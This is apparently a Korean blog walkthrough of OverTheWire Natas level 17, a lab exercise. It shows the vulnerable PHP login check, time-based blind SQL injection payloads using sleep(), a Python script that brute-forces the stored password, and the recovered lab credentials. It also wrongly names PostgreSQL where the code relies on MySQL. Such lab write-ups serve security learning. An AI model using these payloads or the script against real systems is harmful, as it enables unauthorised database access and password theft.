username을 입력하는 칸이 있다.
소스코드
<?
/*
CREATE TABLE `users` (
`username` varchar(64) DEFAULT NULL,
`password` varchar(64) DEFAULT NULL
);
*/
if(array_key_exists("username", $_REQUEST)) {
$link = mysql_connect('localhost', 'natas17', '<censored>');
mysql_select_db('natas17', $link);
$query = "SELECT * from users where username=\"".$_REQUEST["username"]."\"";
if(array_key_exists("debug", $_GET)) {
echo "Executing query: $query<br>";
}
$res = mysql_query($query, $link);
if($res) {
if(mysql_num_rows($res) > 0) {
//echo "This user exists.<br>";
} else {
//echo "This user doesn't exist.<br>";
}
} else {
//echo "Error in query.<br>";
}
mysql_close($link);
} else {
?>
<form action="index.php" method="POST">
Username: <input name="username"><br>
<input type="submit" value="Check existence" />
</form>
<? } ?>
users테이블에 username과 password가 저장되어 있고, 주석으로 echo문이 막혀 있기 때문에 결과를 확인할 수가 없다. 여기서는 Time based SQL injection을 이용할 수 있겠다. 참이면 sleep함수가 실행되고 거짓이면 sleep함수가 실행되지 않도록 하면 된다.
다음과 같이 natas18을 입력하면 아무것도 나타나지 않는다.
sleep함수를 사용해보자.
natas17의 경우
natas17" and sleep(3) #
바로 다음 화면이 뜨지만,
natas18의 경우
natas18" and sleep(3) #
3초 뒤에 다음 화면이 나타났다. 이것을 이용하면 되겠다.
LIKE를 활용하면 해당 텍스트가 포함된 모든 raw를 불러올 수 있다.
여기서 대소문자를 구별하는 PostgreSQL을 사용하면 된다.
natas18" AND password LIKE '%a%' and sleep(3) #
python
import requests
url='http://natas17:8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw@natas17.natas.labs.overthewire.org/'
allchar='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXVZ1234567890'
bstr='blasts'.encode('utf-8')
pw=''
for i in range(32):
for char in allchar:
r = requests.get(url+'?username=natas18" AND password LIKE BINARY"' + pw + char + '%" AND SLEEP(10) -- -')
if r.elapsed.total_seconds() >= 10:
pw = pw + char
print(pw)
break
결과
sleep함수에 넣는 시간이 짧으면 다른 값이 나오는 것 같다. 5이상 넣으니 제대로 나왔다.
xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP
참고 : http://www.anonhack.in/2018/09/overthewire-natas-series-17-18-level-walkthrough/
'Over the Wire > natas' 카테고리의 다른 글
[OvertheWire:Natas] natas 18 → 19 / natas19 (0) | 2021.07.01 |
---|---|
[OvertheWire:Natas] natas level 17 → 18 / natas18 (0) | 2021.06.30 |
[OverTheWire:natas] Natas 15 → 16 / Natas 16 (0) | 2021.06.25 |
[OvertheWire : natas] level 14 → 15 (0) | 2021.05.29 |
[OvertheWire : natas] level 13 → 14 (0) | 2021.05.29 |